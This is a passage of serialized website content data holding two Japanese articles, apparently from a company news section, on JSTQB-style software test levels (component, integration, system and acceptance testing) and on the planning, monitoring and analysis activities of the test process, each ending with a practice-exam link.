3442,3456,3461,3464,3486,3491,3494,3508,3513,3516,3519,3522,3530,3533,3541,3544,3552,3555,3564,3567,3581,3583,3591,3596,3599,3607,3610,3613,3616],[11,2859,2860],{},"テストは、ユニットまたはコンポーネントからシステムまたはシステムオブシステムズ（銀行などで使われるような複数のシステムから構成される大規模なシステム）まで、さまざまなレベルに分けて実施します。",[11,2862,2863],{},"コードが正しく書けたかを確認するテストと、ユーザーが業務で便利に使えるかを確認するテストは、テストの目的や、テストによって見つかる欠陥も異なります。異なるものを一緒にテストするよりも、それぞれを系統的にまとめ、マネジメントしていく方が効率的です。",[11,2865,2866],{},"テストレベルは、開発を進めていく活動、つまり、要件定義、基本設計、詳細設計といった活動と関連付けることができます。",[11,2868,2869],{},"実際のプロジェクトでは、テスト対象によって開発を進めていく活動はもっと多くの段階を経由していきます。そのため、テスト対象の規模に合わせてテストレベルの定義も数も変わります。",[11,2871,2872],{},"この記事では、多くの組織で使用されている次の4つのテストレベルについて解説をしています。",[31,2874,2875,2878,2881,2884],{},[34,2876,2877],{},"コンポーネントテスト",[34,2879,2880],{},"統合テスト",[34,2882,2883],{},"システムテスト",[34,2885,2886],{},"受け入れテスト",[495,2888,2890],{"id":2889},"_1-コンポーネントテスト",[20,2891,2892],{},"1\u002F コンポーネントテスト",[11,2894,2895],{},"コンポーネントやモジュールといった分離可能なソフトウェアを、モックオブジェクト、サービス仮想化、ハーネス、スタブ、ドライバ、シミュレーターなどを使用して、システムの他の部分から切り離してテストします。このテストは、ユニットテストやモジュールテストとも呼ばれることがあります。",[1750,2897,2899],{"id":2898},"テストの目的",[20,2900,2898],{},[11,2902,2903],{},"コンポーネントテストの目的は次の通りです。",[31,2905,2906,2909,2912,2915,2918,2921],{},[34,2907,2908],{},"テスト対象の欠陥を見つけ出す",[34,2910,2911],{},"テスト対象の機能が仕様通りに動作するかを確認する",[34,2913,2914],{},"テスト対象の非機能的な挙動が設計や仕様通りであるかを検証する",[34,2916,2917],{},"テスト対象の品質が信頼できるものであることを確かめる",[34,2919,2920],{},"欠陥を見逃さずに発見する",[34,2922,2923],{},"リスクを最小限に抑える",[1750,2925,2927],{"id":2926},"テスト対象",[20,2928,2926],{},[11,2930,2931],{},"以下のものがコンポーネントテストの対象として挙げられています。",[31,2933,2934,2937,2940,2943],{},[34,2935,2936],{},"コンポーネント、ユニット、モジュール",[34,2938,2939],{},"コードおよびデータ構造",[34,2941,2942],{},"クラス",[34,2944,2945],{},"データベースモジュール",[1750,2947,2949],{"id":2948},"テストタイプ",[20,2950,2948],{},[11,2952,2953],{},"コンポーネントテストで実施される主なテストタイプは以下の通りです。",[31,2955,2956,2959,2962,2965],{},[34,2957,2958],{},"機能テスト",[34,2960,2961],{},"非機能テスト",[34,2963,2964],{},"ホワイトボックステスト",[34,2966,2967],{},"リグレッションテスト",[1750,2969,2971],{"id":2970},"典型的な欠陥と故障",[20,2972,2970],{},[11,2974,2975],{},"コンポーネントテストでよく見つかる欠陥には次のようなものがあります。",[31,2977,2978,2981,2984],{},[34,2979,2980],{},"仕様と異なる不正な機能",[34,2982,2983],{},"データフローの問題",[34,2985,2986],{},"誤ったコードやロジック",[11,2988,2989],{},"性能測定を通じてボトルネックを特定し、それを性能欠陥とみなす場合もプロジェクトによってはあります。",[11,2991,2992],{},"コンポーネントテストでは、欠陥を発見したらすぐに修正を行うケースが一般的です。ただし、これは欠陥管理ツールを使用しないという意味ではありません。ツールは活用しつつ、組織標準のワークフローや欠陥分類に厳密に従う必要がない、という意味です。",[11,2994,2995],{},"そのため、「コンポーネントテストでは欠陥管理を行うべきではない」と誤解しないようにしましょう。プロジェクトによっては、コンポーネントテストで欠陥管理を行い、プロセス改善に役立てるケースもあります。",[11,2997,2998],{},"状況に応じて、スピードを重視するのか、それともプロセス改善を目指すのかを判断し、欠陥管理への取り組みを決定することが望ましいです。",[1750,3000,3002],{"id":3001},"テスト実行者責務の割り振り",[20,3003,3004],{},"テスト実行者（責務の割り振り）",[11,3006,3007],{},"コンポーネントテストは、通常ソースコードを作成した開発者自身が実施しますが、場合によってはテスト専門チームの担当者が行うこともあります。このテストは、開発者単独で進めるというよりも、他の開発メンバーを巻き込みながら実施されます。また、コンポーネントテストで発見された欠陥は、開発者自身が修正を担当します。",[1750,3009,3011],{"id":3010},"固有のアプローチ",[20,3012,3010],{},[11,3014,3015],{},"アジャイル開発では、テストを自動化することが一般的です。テストリストを作成し、自動化されたテスト実行の仕組みを構築します。そして、テストケースの開発サイクルをもとにソースコードを作成し、コンポーネントテストに合格するまで修正と反復を繰り返します。",[11,3017,3018],{},"近年、アジャイル開発のようにソースコードを継続的に変更するスタイルが主流となってきました。これに伴い、コード変更が既存のコンポーネントに悪影響を及ぼしていないかを確認するため、リグレッションテストによる信頼性の確認が重要な目的となります。",[11,3020,3021],{},"多くの組織やプロジェクトでは、「非機能的な挙動の確認はシステムテストレベルで行う」という考え方が一般的かもしれません。確かに、機能テストで欠陥を十分に検出した後に非機能テストを実施するのが通常の流れです。しかし、コンポーネントテストの段階で重要なモジュールの性能を測定し、適切にチューニングすることも非常に重要です。これを怠ると、システムテストの段階で性能問題が発生し、コード修正に多大な工数がかかり、最終的には製品リリースに影響を与える可能性があります。",[11,3023,3024],{},"したがって、コンポーネントテストにおいても非機能的な振る舞いを確認することがある点を認識しておくことが大切です。",[495,3026,3028],{"id":3027},"_2-統合テスト",[20,3029,3030],{},"2\u002F 統合テスト",[11,3032,3033],{},"統合テストは、大きく分けて「コンポーネント統合テスト」と「システム統合テスト」の2種類があります。",[1750,3035,3037],{"id":3036},"コンポーネント統合テスト",[20,3038,3036],{},[11,3040,3041],{},"コンポーネント統合テストは、コンポーネントテストが終了した後に実施され、コンポーネント間のインターフェースや相互の動作に重点を置いてテストを行います。このテストでは、個々のコンポーネントの機能自体はすでにコンポーネントテストで評価されているため、主にコンポーネント同士の連携部分に焦点を当てます。",[11,3043,3044],{},"特に、イテレーティブ開発やインクリメンタル開発においては、このテストを自動化し、継続的インテグレーションの一環として実施することが一般的です。",[11,3046,3047],{},"コンポーネントテストが完了していることを理由に、多数のコンポーネントを一度に統合してテストを効率化しようとする（いわゆる「ビッグバン統合」）ケースもありますが、これはしばしば誤ったアプローチとなります。なぜなら、統合範囲が広いと、故障が発生した場合に欠陥の原因となったコンポーネントを特定するのが難しくなり、結果としてデバッグや修正に多くの時間がかかるからです。欠陥の特定と修正を迅速に行うためには、統合を段階的に進めることが重要です。",[11,3049,3050],{},"そのため、現在では、一度に統合するのではなく、段階的に統合を進める「体系的な統合戦略」に基づいた統合テストが広く採用されています。この戦略では、システムアーキテクチャ（トップダウンやボトムアップなど）、機能タスク、トランザクション処理シーケンスなどを基準に、統合を少しずつ進めていきます。",[11,3052,3053],{},"段階的統合を実施する際、テスト実行者が統合戦略の構造を正しく理解し、統合による影響を把握していることが理想的です。これにより、統合プロセスがスムーズに進み、欠陥の早期発見と修正が効率よく行えるようになります。",[1750,3055,3057],{"id":3056},"システム統合テスト",[20,3058,3056],{},[11,3060,3061],{},"システム統合テストは、システムテストの後または並行して実施され、他システムとのインターフェースや相互処理を重点的にテストします。システムテストでは他システムの動作をシミュレートするため、実際に統合された環境でビジネスプロセス全体を確認するテストが必要です。たとえば、受注処理システムを出荷処理システムや請求処理システムと統合し、販売管理プロセス全体をテストします。",[1750,3063,3065],{"id":3064},"テスト対象-1",[20,3066,2926],{},[11,3068,3069],{},"システム統合テストでは、以下が主な対象となります。",[31,3071,3072,3075,3078],{},[34,3073,3074],{},"他システムとのインターフェースと相互処理",[34,3076,3077],{},"パッケージやマイクロサービス",[34,3079,3080],{},"外部組織が提供するWebサービス",[11,3082,3083],{},"外部システムやサービスを統合する際には、テスト環境やスケジュールに制約があり、特に確認テストの調整に時間を要する場合があります。これは開発モデルに関わらず発生し得ます。",[1750,3085,3087],{"id":3086},"テスト目的",[20,3088,3086],{},[11,3090,3091],{},"統合テストの目的は以下の通りです。",[31,3093,3094,3097,3100,3103,3106,3109],{},[34,3095,3096],{},"テスト対象およびインターフェースに潜む欠陥の検出",[34,3098,3099],{},"インターフェースの機能的振る舞いが設計- 仕様通りであることの検証",[34,3101,3102],{},"非機能的振る舞いが設計- 仕様通りであることの検証",[34,3104,3105],{},"インターフェースの信頼性を確認し、品質を向上させる（信頼の積み上げ）",[34,3107,3108],{},"欠陥の見逃しを防止",[34,3110,3111],{},"リスクの軽減",[1750,3113,3115],{"id":3114},"テスト対象-2",[20,3116,2926],{},[11,3118,3119],{},"統合テストの対象として、以下が挙げられます。",[31,3121,3122,3125,3128,3131,3134,3137],{},[34,3123,3124],{},"サブシステム",[34,3126,3127],{},"データベース",[34,3129,3130],{},"インフラストラクチャー",[34,3132,3133],{},"インターフェース",[34,3135,3136],{},"API",[34,3138,3139],{},"マイクロサービス",[1750,3141,3143],{"id":3142},"テストタイプ-1",[20,3144,2948],{},[11,3146,3147],{},"統合テストでは、次のようなテストを実施します。",[31,3149,3150,3153,3156,3159],{},[34,3151,3152],{},"機能テスト：仕様通りに機能することを確認",[34,3154,3155],{},"非機能テスト：性能や信頼性などの設計仕様を確認",[34,3157,3158],{},"ホワイトボックステスト：内部構造やロジックを検証",[34,3160,3161],{},"リグレッションテスト：変更が既存のシステムやインターフェースに悪影響を与えないことを確認",[11,3163,3164],{},"特にリグレッションテストは重要で、変更がシステムに影響を与えないことを検証します。また、自動化して効率を向上させる場合もあります。性能テストをコンポーネント統合テストの段階で行うこともあります。",[1750,3166,3168],{"id":3167},"テストで見つかる典型的な欠陥と故障",[20,3169,3167],{},[1750,3171,3173],{"id":3172},"コンポーネント統合テストでの典型的な欠陥と故障",[20,3174,3172],{},[31,3176,3177,3180,3183,3186,3189,3192],{},[34,3178,3179],{},"不正確なデータ、データ不足、または誤ったデータエンコーディング",[34,3181,3182],{},"インターフェース呼び出しの順序やタイミングの誤り",[34,3184,3185],{},"インターフェースの不整合",[34,3187,3188],{},"コンポーネント間の通信エラー",[34,3190,3191],{},"通信エラーへの対応不足や不適切な処理",[34,3193,3194],{},"データの意味、単位、境界に関する誤った仮定",[1750,3196,3198],{"id":3197},"システム統合テストでの典型的な欠陥と故障",[20,3199,3197],{},[31,3201,3202,3205,3207,3210,3212,3214],{},[34,3203,3204],{},"システム間で統一されていないメッセージ構造",[34,3206,3185],{},[34,3208,3209],{},"システム間通信のエラー",[34,3211,3191],{},[34,3213,3194],{},[34,3215,3216],{},"セキュリティ規制への非準拠",[11,3218,3219],{},"統合テストでは、これらの欠陥を早期に検出し、システム間の信頼性を確保することが重要です。",[1750,3221,3223],{"id":3222},"テストの実行者役割の分担",[20,3224,3225],{},"テストの実行者（役割の分担）",[11,3227,3228],{},"コンポーネント統合テストは、主に開発者が担当します。システム統合テストは、主にテスト担当者が実施します。",[1750,3230,3232],{"id":3231},"固有のアプローチ-1",[20,3233,3010],{},[11,3235,3236],{},"開発前に統合戦略と統合テスト計画を策定することで、ソフトウェアアーキテクチャやシステムアーキテクチャを考慮したテスト計画を立てることができ、テストの効率を最大限に引き出しながら開発を進めることができます。",[495,3238,3240],{"id":3239},"_3-システムテスト",[20,3241,3242],{},"3\u002F システムテスト",[11,3244,3245],{},"システムテストでは、マスターテスト計画やシステムテスト計画で定義されたシステム全体のソフトウェアプロダクトにおける機能面と非機能面の両方を確認するために、システムのエンドツーエンドの動作や能力をテストします。",[1750,3247,3249],{"id":3248},"テストの目的-1",[20,3250,2898],{},[11,3252,3253],{},"システムテストには、以下のようなさまざまな目的があります。",[31,3255,3256,3259,3262,3265,3268,3271,3274,3277,3280],{},[34,3257,3258],{},"テスト対象に潜在する欠陥を検出すること",[34,3260,3261],{},"テスト対象の機能的な動作が設計および仕様に沿っているかを確認すること",[34,3263,3264],{},"テスト対象の非機能的な動作が設計および仕様に沿っているかを確認すること",[34,3266,3267],{},"システムが完成し、期待通りに動作するかを検証すること",[34,3269,3270],{},"システムが法的または規制上の要求や標準に適合しているかを確認すること",[34,3272,3273],{},"システム全体の品質が信頼性の高いものであるかを確認すること（信頼性の積み上げ）",[34,3275,3276],{},"システムテストで見逃すべきでない欠陥が見過ごされないようにすること",[34,3278,3279],{},"データの品質を検証すること",[34,3281,3282],{},"リスクを軽減すること",[1750,3284,3286],{"id":3285},"テスト対象-3",[20,3287,2926],{},[11,3289,3290],{},"システムテストにおけるテスト対象として、以下の種類があります。",[31,3292,3293,3296,3299,3302],{},[34,3294,3295],{},"アプリケーション",[34,3297,3298],{},"ハードウェア\u002Fソフトウェアシステム",[34,3300,3301],{},"テスト対象システム（SUT）",[34,3303,3304],{},"システム構成および構成データ",[1750,3306,3308],{"id":3307},"テストタイプ-2",[20,3309,2948],{},[11,3311,3312],{},"システムテストでは、機能テスト、非機能テスト、ホワイトボックステスト、リグレッションテストなどを実施します。システムテストは、システムの機能要件、非機能要件、およびデータの品質特性をテストするもので、これらを検証するためにさまざまなテストタイプが使用されます。",[11,3314,3315],{},"リグレッションテストは、変更によって既存の機能やエンドツーエンドの能力が破壊されていないかを確認するもので、場合によっては自動化されることもあります。",[1750,3317,3319],{"id":3318},"テストで見つかる典型的な欠陥と故障-1",[20,3320,3167],{},[11,3322,3323],{},"システムテストで発見される典型的な欠陥や故障には、以下のようなものがあります。",[31,3325,3326,3329,3332,3335,3338,3341],{},[34,3327,3328],{},"計算ミス",[34,3330,3331],{},"システムの機能的または非機能的振る舞いが正しくない、または期待通りでない",[34,3333,3334],{},"システム内の不適切な制御フローやデータフロー",[34,3336,3337],{},"エンドツーエンドの機能的タスクを正しくかつ完全に実行できない",[34,3339,3340],{},"本番環境でシステムが正常に動作しない",[34,3342,3343],{},"システムマニュアルやユーザーマニュアルに記載された通りにシステムが動作しない",[11,3345,3346],{},"仕様に関する欠陥は、システムの振る舞いに関して誤った期待結果を引き起こし、その結果、偽陽性や偽陰性のテスト結果が発生することがあります。テスト担当者は、動的テストの前にユーザーストーリーのリファインメント（内容のレビューや修正、認識合わせ、見積もりなど）に関与し、静的テスト活動を早期に行うことで、このような状況を回避することができます。",[1750,3348,3350],{"id":3349},"テスト実行者責務の割り当て",[20,3351,3352],{},"テスト実行者（責務の割り当て）",[11,3354,3355],{},"システムテストは、開発組織内のテスト担当者が実行する場合もあれば、独立したテストチームが担当する場合もあります。",[1750,3357,3359],{"id":3358},"固有のアプローチ-2",[20,3360,3010],{},[11,3362,3363],{},"システムテストでは、適切なテスト技法を使用します。例えば、ビジネスルールに基づく機能的な振る舞いの確認にはデシジョンテーブルを活用します。",[11,3365,3366],{},"また、システムテストは、コンポーネント統合テストが行われた開発環境ではなく、できるだけ本番環境に近いテスト環境（ステージング環境）で実施することが理想的です。理由は、開発環境では発見できない環境関連の故障をシステムテストで検出する必要があるためです。",[11,3368,3369],{},"システムテストの結果を基に、リリースの可否を判断することもあります。",[495,3371,3373],{"id":3372},"_4-受け入れテスト",[20,3374,3375],{},"4\u002F 受け入れテスト",[11,3377,3378],{},"受け入れテストは、システムテストと同様に、システムやソフトウェアプロダクト全体の機能的および非機能的な側面を評価します。受け入れテストは、リリース直前だけでなく、ソフトウェアライフサイクルのさまざまな段階で実施されます。受け入れテストには、以下のようなさまざまな種類があります。",[31,3380,3381,3384,3387,3390,3393],{},[34,3382,3383],{},"ユーザー受け入れテスト",[34,3385,3386],{},"運用受け入れテスト",[34,3388,3389],{},"契約に基づく受け入れテスト",[34,3391,3392],{},"規制に基づく受け入れテスト",[34,3394,3395],{},"アルファテストおよびベータテスト",[11,3397,3398],{},"ユーザー受け入れテスト ユーザー受け入れテストは、ユーザーがシステムがビジネスに適しているかを確認するためのテストです。ビジネスの運用環境または模擬運用環境で、ユーザーが実際にシステムを使用し、ニーズや要件を満たしているかどうかを検証します。",[11,3400,3401],{},"運用受け入れテスト 運用受け入れテストは、運用担当者やシステム管理者がシステムの運用面に焦点を当てて行うテストです。本番環境または模擬本番環境で行うことが一般的で、以下のような内容が含まれます。",[31,3403,3404,3407,3410,3413,3416,3419,3422,3425],{},[34,3405,3406],{},"バックアップおよびリストアのテスト",[34,3408,3409],{},"インストール、アンインストール、アップグレード",[34,3411,3412],{},"災害復旧",[34,3414,3415],{},"ユーザー管理",[34,3417,3418],{},"メンテナンス",[34,3420,3421],{},"データ移行とローディング",[34,3423,3424],{},"セキュリティ脆弱性のチェック",[34,3426,3427],{},"性能テスト",[11,3429,3430],{},"契約に基づく受け入れテスト 契約に基づく受け入れテストは、カスタムメイドのソフトウェアを開発する際、契約書に記載された受け入れ基準に従って検証を行うものです。受け入れ基準は契約締結時に合意された内容に基づいて設定され、その基準に適合しているかどうかをテストします。",[11,3432,3433],{},"規制に基づく受け入れテスト 規制に基づく受け入れテストは、政府、法律、安全基準などに従っているかを検証します。会計、セキュリティ、医療など、さまざまな分野で法律や基準が存在し、それらに適合しているかを確認するテストです。",[11,3435,3436],{},"アルファテストおよびベータテスト 市販ソフトウェアの場合、製品を市場にリリースする前に、将来のユーザーや既存の顧客からフィードバックを得るために実施するテストがアルファテストやベータテストです。通常、アルファテストの後にベータテストが行われますが、アルファテストなしでベータテストを行うこともあります。",[1750,3438,3440],{"id":3439},"テスト目的-1",[20,3441,3086],{},[31,3443,3444,3447,3450,3453],{},[34,3445,3446],{},"システムの機能的な動作が仕様通りであるかを確認するため",[34,3448,3449],{},"システムの非機能的な動作が仕様通りであるかを確認するため",[34,3451,3452],{},"システムが完成し、期待通りに動作するかの妥当性を確認するため",[34,3454,3455],{},"システム全体の品質が信頼性のあるものであるかを確認するため",[1750,3457,3459],{"id":3458},"テスト対象-4",[20,3460,2926],{},[11,3462,3463],{},"受け入れテストにおけるテスト対象として、以下の種類があります。",[31,3465,3466,3469,3471,3474,3477,3480,3483],{},[34,3467,3468],{},"テスト対象のシステム",[34,3470,3304],{},[34,3472,3473],{},"完全に統合されたシステムのビジネスプロセス",[34,3475,3476],{},"運用プロセスおよびメンテナンスプロセス",[34,3478,3479],{},"レポート",[34,3481,3482],{},"書式",[34,3484,3485],{},"保存または変換された運用データ",[1750,3487,3489],{"id":3488},"テストで見つかる典型的な欠陥と故障-2",[20,3490,3167],{},[11,3492,3493],{},"受け入れテストで発見される典型的な欠陥や故障として、以下のような例があります。",[31,3495,3496,3499,3502,3505],{},[34,3497,3498],{},"システムのワークフローがビジネス要件やユーザー要件を満たしていない",[34,3500,3501],{},"ビジネスルールが正しく実装されていない",[34,3503,3504],{},"システムが契約や規制要件を満たしていない",[34,3506,3507],{},"セキュリティ脆弱性、高負荷時の性能不足、サポート対象プラットフォームでの誤動作など、非機能的特性に関する故障",[1750,3509,3511],{"id":3510},"テスト実行者責務の割り当て-1",[20,3512,3352],{},[11,3514,3515],{},"受け入れテストは、顧客、ビジネスユーザー、プロダクトオーナー、システムの運用担当者、およびその他のステークホルダーによって実施されます。",[11,3517,3518],{},"受け入れテストの各形態における主なテスト実行者は以下の通りです。",[11,3520,3521],{},"【ユーザー受け入れテスト】",[31,3523,3524,3527],{},[34,3525,3526],{},"顧客",[34,3528,3529],{},"ビジネスユーザー",[11,3531,3532],{},"【運用受け入れテスト】",[31,3534,3535,3538],{},[34,3536,3537],{},"運用担当者",[34,3539,3540],{},"システムアドミニストレーター",[11,3542,3543],{},"【契約による受け入れテスト】",[31,3545,3546,3549],{},[34,3547,3548],{},"ユーザー",[34,3550,3551],{},"独立したテスト担当者",[11,3553,3554],{},"【規制による受け入れテスト】",[31,3556,3557,3559,3561],{},[34,3558,3548],{},[34,3560,3551],{},[34,3562,3563],{},"規制機関（テスト結果を検証または監査する場合）",[11,3565,3566],{},"【アルファテスト】",[31,3568,3569,3572,3575,3578],{},[34,3570,3571],{},"潜在的な顧客",[34,3573,3574],{},"既存の顧客",[34,3576,3577],{},"システム運用者",[34,3579,3580],{},"独立したテストチーム",[11,3582,3566],{},[31,3584,3585,3587,3589],{},[34,3586,3571],{},[34,3588,3574],{},[34,3590,3577],{},[1750,3592,3594],{"id":3593},"固有のアプローチ-3",[20,3595,3010],{},[11,3597,3598],{},"シーケンシャル開発では、受け入れテストは通常ライフサイクルの最後に行われますが、以下のタイミングでも実施されることがあります。",[31,3600,3601,3604],{},[34,3602,3603],{},"市販ソフトウェア（COTS）では、インストール時や統合時に受け入れテストを実施",[34,3605,3606],{},"新機能の開発を委託している場合、システムテスト前に受け入れテストを実施し、インターフェースや相互処理に欠陥がないことを確認",[11,3608,3609],{},"イテレーティブ開発では、各イテレーションの最後や完了後、または複数のイテレーション後に受け入れテストを行います。",[11,3611,3612],{},"受け入れテスト結果に基づき、システムがリリース準備できているか、顧客が使用可能かを評価することがあります。",[11,3614,3615],{},"※練習問題をやりましょう！！",[11,3617,3618],{},[57,3619,3620],{"href":3620,"rel":3621},"https:\u002F\u002Fexam-site.briswell-vn.com\u002Ftesting\u002Fjstqb-5-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":3623},[3624,3625,3626,3627],{"id":2889,"depth":65,"text":2892},{"id":3027,"depth":65,"text":3030},{"id":3239,"depth":65,"text":3242},{"id":3372,"depth":65,"text":3375},"2024-12-11","テストは、ユニットまたはコンポーネントからシステムまたはシステムオブシステムズ（銀行などで使われるような複数のシステムから構成される大規模なシステム）まで、さまざまなレベルに分けて実施します。コードが正しく書けたかを確認するテストと、ユーザーが業務で便利に使えるかを確認するテストは、テストの目的や、テストによって見つかる欠陥も異なります。異なるものを一緒にテストするよりも、それぞれを系統的にまとめ、マネジメントしていく方が効率的です。",{},"\u002Fja\u002Fnews\u002Fcac-cap-do-kiem-thu-phan-mem",{"title":2855,"description":3629},"ja\u002Fnews\u002Fcac-cap-do-kiem-thu-phan-mem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F12\u002F10162638\u002FScreenshot-2024-12-10-162335.png","gxkn3ZzuqVmTxwuXZB01IDCUxxwNr_FnP8uS4JWhIVA",{"id":3637,"title":3638,"body":3639,"category":353,"created by":68,"date":3776,"description":3643,"extension":71,"meta":3777,"navigation":73,"path":3778,"sections":75,"seo":3779,"stem":3780,"thumbnail":3781,"__hash__":3782},"content_ja\u002Fja\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-1.md","基本的なテストプロセスにおけるテストの活動・Part 1",{"type":8,"value":3640,"toc":3774},[3641,3644,3647,3670,3673,3676,3684,3689,3692,3697,3700,3703,3708,3711,3716,3719,3722,3727,3730,3733,3738,3741,3746,3749,3752,3757,3760,3763,3768],[11,3642,3643],{},"ソフトウェアテストプロセスはテストの準備からテストを終了するまでの一連の流れを指します。ソフトウェアのテスト時には、さまざまな活動が行われています。テストプロセスは簡単に言えば、段階ごとに分けられ、グループ化されたテスト活動の集まりです。実際の状況によっては、テストプロセスを短縮することもあります。テストプロセスに影響を与える要素には、案件の規模、予算、法的な基準などが含まれます。",[11,3645,3646],{},"常に、基本的なテストプロセスには以下の7つの活動があります。",[31,3648,3649,3652,3655,3658,3661,3664,3667],{},[34,3650,3651],{},"テスト計画",[34,3653,3654],{},"テストのモニタリングとコントロール",[34,3656,3657],{},"テスト分析",[34,3659,3660],{},"テスト設計",[34,3662,3663],{},"テスト実装",[34,3665,3666],{},"テスト実行",[34,3668,3669],{},"テスト完了",[11,3671,3672],{},"場合によっては、上記の活動を順番に行うこともあれば、複数の活動を同時に進めることもあります。仕様が明確なケースでは、テスト分析を行いながら、テスト設計やテスト実装を進めていきます。ソフトウェアの開発モデルなどの客観的な要因に基づき、適切にテスト活動を調整することが必要です。",[11,3674,3675],{},"本記事でテストプロセスにおける最初の3つのテスト活動を調べてみましょう。",[31,3677,3678,3680,3682],{},[34,3679,3651],{},[34,3681,3654],{},[34,3683,3657],{},[11,3685,3686],{},[20,3687,3688],{},"①テスト計画",[11,3690,3691],{},"テスト計画を立てる際に、最初に明確にすべきことはテストの目的です。テストの目的はソフトウェアの納期や存在理由によって異なります。例えば、納期を優先する場合、テストの目的はソフトウェアの基本的な機能の確認に集中することになります。また、単体テストや結合テストといったテストレベルによっても、テストの目的は変わります。例えば、単体テストの段階では、各機能を徹底的にテストすることが目的です。一方、結合テストでは、ソフトウェアの遷移フローを確認することが目的となります。",[11,3693,3694],{},[20,3695,3696],{},"②テストのモニタリングとコントロール",[11,3698,3699],{},"テストプロセスをコントロールするためには各テスト活動やタスクの状況を把握する必要があります。つまり、テストプロセスをモニタリングしなければならないということです。モニタリングしなければ、テストが正しい傾向に進んでいるのか、また客観的にテストがうまく進行しているのかを理解することはできません。そのため、客観的に状況を理解するためには、検証終了基準が必要です。検証終了基準に基づいて、テスト活動を終了してもよいかどうか判断できます。",[11,3701,3702],{},"次に、モニタリング項目には何があるのでしょうか。検証を実施している時点では、テスト計画や現在の状況を確認し、バグの頻度やテストケースの日々の進捗に基づいてテスト対象の品質を分析します。この分析結果は、検証進捗レポートとしてステークホルダーへ報告します。このような活動を通じて、テスト計画と比較するだけでなく、案件計画で設定された目的とも比較し、必要に応じてテスト計画や案件計画を見直す提案を行います。",[11,3704,3705],{},[20,3706,3707],{},"③テスト分析",[11,3709,3710],{},"テストを分析する活動で、テストを実行するための情報を収集します。具体的には、ソフトウェアの設計、機能要件、非機能要件、構成などのテストベースを集めることです。その後、集めた情報をフィルタリングし、新規作成することで、どのフィーチャ（コンポーネントやシステムの属性）がテストできるか判断します。分析した対象に対して、どのテスト技術を使うか、どのテスト戦略を適用するかは、テスト設計の活動で決定されます。以下はテスト分析活動で行うタスクです。",[11,3712,3713],{},[20,3714,3715],{},"テストレベルごとに適切なテストベースを分析する",[11,3717,3718],{},"テスト設計を行う技術者は、テストベースを分析する役割を担います。テストベースには、RFP（提案依頼書）、企画書、ユースケース、購買仕様書、ユーザーや顧客の視点からのユーザーストーリーなどの資料があります。その他にも、要求仕様書、アーキテクチャ定義書、リスク分析レポート、技術設計書、インタフェース仕様書、標準資料（RFCやISO\u002FIEC標準などの公開資料、内部標準や組織の標準資料まで）などが含まれます。",[11,3720,3721],{},"また、テストベースには、会議のメモ、やり取りされたメール、開発時のホワイトボードに聞かれた内容なども含まれます。これは案件のコミュニケーションスタイルによって異なります。",[11,3723,3724],{},[20,3725,3726],{},"テストベースとテストアイテムを評価して、さまざまな種類の欠陥を識別する",[11,3728,3729],{},"テストベースを分析した後、テストベースにおける特有のエラーを識別する必要があります。明確なエラーの例として、要求仕様書に記載されている内容が機能要件に含まれていない場合、これは問題として報告できます。また、記載が正しくないエラーや、記載が明示されていないエラーとしても報告できます。例えば、資料には「字が読みやすいことを確認する」と記載されていますが、具体的にどのサイズや色の字が読みやすいのかは明記されていません。このため、テスト技術者は自分の主観的な感覚で判断せざるを得なくなります。",[11,3731,3732],{},"そのため、テストを客観的に実行するためには、具体的な定量的な仕様の記載が必要です。例えば、字のフォントはTimes New Romanで、サイズは13ポイントと明記することが重要です。特に、論理的な言語で書かれた仕様や、長い文章で主語や述語が明確に示されていない仕様には注意が必要です。",[11,3734,3735],{},[20,3736,3737],{},"テストすべきフィーチャーとフィーチャーのセットを識別する",[11,3739,3740],{},"フィーチャーとはシステムの確定された機能やデフォルトのコンポーネント、属性を指します。例えば、信頼度、可用性、設計上の紐付けなどが含まれます。これらの機能をテストする際には、テストレベルごとにテストを実行できるフィーチャーを判断し、独立してテストできるフィーチャセットとしてグループ化していきます。時には、1つのフィーチャーセットのみを扱う小規模な案件もあります。",[11,3742,3743],{},[20,3744,3745],{},"テストベースの分析に基づいて、各フィーチャーのテスト条件を決めて優先度を割り当てる",[11,3747,3748],{},"テストベースを集めて分析した後、各機能のテスト条件を決定します。テストベースに加えて、テスト環境の準備状況に基づくテスト実行可能なタイミングやスケジュール、技術者に必要なスキル、テストに必要な技術など、ビジネス的な要素も合わせて検討する必要があります。テスト条件は、機能および非機能の仕様の相関関係や依存性、類似点、ソフトウェアのアーキテクチャを分析した上で決定されます。",[11,3750,3751],{},"テスト条件が決まったら、テストアプローチやテスト目的を考慮し、優先順位を決めます。優先順位を決める際には、どのテスト条件がプロダクトリスクに関連しているかも検討することが重要です。",[11,3753,3754],{},[20,3755,3756],{},"テストベースの各要素と関連するテスト条件の間に双方向のトレーサビリティを確立する",[11,3758,3759],{},"テストベースの各要素と関連するテスト条件の間に双方向のトレーサビリティを確立することで、テストベースから確定されたテスト条件がすべて分析され、展開されることを確認できます。これにより、ソフトウェアの要件や機能がすべてテストされることが保証されます。",[11,3761,3762],{},"テスト分析活動で上記のタスクを実行することによって、テスト設計を行う前に、テストベースに存在するエラーを発見することができます。さまざまな視点からテストベースを集めて分析することで、プロダクトの開発に関する幅広い視点を得ることができます。クライアント、エンドユーザー、プロジェクトマネージャー、プロダクトマネージャー、技術者、開発者のそれぞれがプロダクトに求める要件は多様で、時には異なることもあります。このテスト分析活動は、ステークホルダーの要求がテストベースに正しく反映されているかを確認するのに役立ちます。",[11,3764,3765],{},[20,3766,3767],{},"※練習問題：",[11,3769,3770],{},[57,3771,3772],{"href":3772,"rel":3773},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-2-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":3775},[],"2024-11-05",{},"\u002Fja\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-1",{"title":3638,"description":3643},"ja\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-1","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F06171307\u002FScreenshot-2024-11-06-171247.png","mey662ATEyaiAZCioEgtcFg4USaeN1xoNfL9CIuWHMc",{"id":3784,"title":3785,"body":3786,"category":353,"created 